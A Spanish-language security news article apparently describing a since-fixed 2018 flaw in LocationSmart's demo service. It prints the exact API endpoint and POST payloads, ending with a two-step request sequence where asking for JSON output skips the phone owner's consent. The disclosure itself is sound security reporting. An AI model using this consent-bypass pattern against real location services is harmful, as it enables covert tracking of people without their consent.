Vulnerabilidad en LocationSmart permite obtener ubicaciones de smartphones en tiempo real

En mayo, expertos en seguridad encontraron una vulnerabilidad en el sitio web LocationSmart que permitía, sin autenticación, obtener la ubicación en tiempo real de teléfonos celulares en los estados unidos.

La vulnerabilidad ha sido solucionada, por lo que el profesional en seguridad informatica está publicando los detalles técnicos de la vulnerabilidad.

lsmart

LocationSmart, el servicio de localización de teléfonos celulares recientemente ha aparecido en las noticias por vender datos de ubicación a terceros de Securus. LocationSmart está asociada con compañías de telecomunicaciones para obtener la ubicación en tiempo real de los clientes mediante triangulación de torre celular, contando entre sus socios Verizon, AT & T, T-Mobile, Sprint, además de operadores canadienses. LocationSmart vende los datos de ubicación a otras compañías. Debido a que se basa en operadores, trabaja independientemente del sistema operativo del teléfono o de la configuración de privacidad del dispositivo.

LocationSmart coloco una página web de prueba, en https://www.locationsmart.com/try/, aquí cualquier persona puede ingresar un número de teléfono, responder a una solicitud de consentimiento entregada a través de un SMS o una llamada, y con esto podría ver la ubicación en tiempo real, comentaron profesionales en seguridad informatica.

Después, la página realiza una petición POST a https://www.locationsmart.com/try/api/ con la carga útil (con 8005551212 reemplazando el número de teléfono real):

requestdata={“deviceType”:”Wireless”,”deviceID”:”8005551212″,”devicedetails”:”true”,”carrierReq”:”true”}&requesttype=statusreq.json

Si el número de teléfono seleccionado es válido, responderá:

{“uid”:”REDACTED”,”requestTime”:”2018-05-16T21:25:50.689+00:00″,”statusCode”:0,”statusMsg”:”Success”,”deviceId”:”8005551212″,”token”:”TOKEN”,”locatable”:”True”,”network”:{“carrier”:”T-Mobile”,”locatable”:”True”,”callType”:”wireless”,”locAccuracySupport”:”Precise Possible”,”nationalNumber”:”8005551212″,”countryCode”:”1″,”regionCode”:”US”,”regionCountry”:”UNITED STATES”},”subscriptionGroup”:[{“name”:”LOCA-D01-LOCNOPIN”,”locatable”:”False”,”smsAvailable”:”False”},{“name”:”LOCA-D02-WELCOME”,”locatable”:”False”,”smsAvailable”:”False”}],”smsAvailable”:”True”,”privacyConsentRequired”:”True”,”clientLocatable”:”false”,”clientSMSAvailable”:”Not supported”,”whiteListed”:”false”}

El TOKEN, decodifica utilizando una versión de Base64 con una marca de tiempo de precisión.

Enseguida, la página web realiza POST repetidamente en el mismo punto final con la siguiente carga útil:

requestdata={“subscriptionAction”:”status”,”tn”:”8005551212″,”carrierReq”:”true”}&requesttype=subscriptionreq

Recibe una carga útil XML formateada

lsmart 1

Espera a que la respuesta subscriptionOptInState cambie a approved, y de acuerdo a los profesionales en seguridad informatica, lanza una solicitud POST final al mismo punto final con la siguiente carga útil:

requestdata={“civicAddressReq”:”True”,”geoAddressReq”:”True”,”extAddressReq”:”True”,”nearbyPoiReq”:”True”,”privacyConsent”:”True”,”token”:”TOKEN”,”locationtype”:”network”,”accuracyReq”:”Coarse”,”tnDetailReq”:”False”,”carrierReq”:”true”}&requesttype=locreq

Esto reacciona con una carga XML que contiene la ubicación del dispositivo. El token es el único identificador que varía en esta solicitud.

Si lanza una solicitud POST a un teléfono que no ha dado su consentimiento, obtendrá una carga útil:

lsmart 2

Si hace la solicitud con requesttype = locreq.json, obtiene los datos de ubicación completos, sin recibir aprobación. Este es el alma del error. Solicita los datos de ubicación en formato JSON, en lugar del formato XML predeterminado. Por alguna razón, esto cancela el control de consentimiento.

POST con

requestdata={“deviceType”:”Wireless”,”deviceID”:”NUMBER”,”devicedetails”:”true”,”carrierReq”:”true”}&requesttype=statusreq.json

POST con

requestdata={“civicAddressReq”:”True”,”geoAddressReq”:”True”,”extAddressReq”:”True”,”nearbyPoiReq”:”True”,”privacyConsent”:”True”,”token”:”TOKEN”,”locationtype”:”network”,”accuracyReq”:”Coarse”,”tnDetailReq”:”False”,”carrierReq”:”true”}&requesttype=locreq.json

Con esa facilidad se omite el proceso de consentimiento y usted tiene la ubicación del teléfono, dicen los expertos en seguridad informatica.

lsmart 3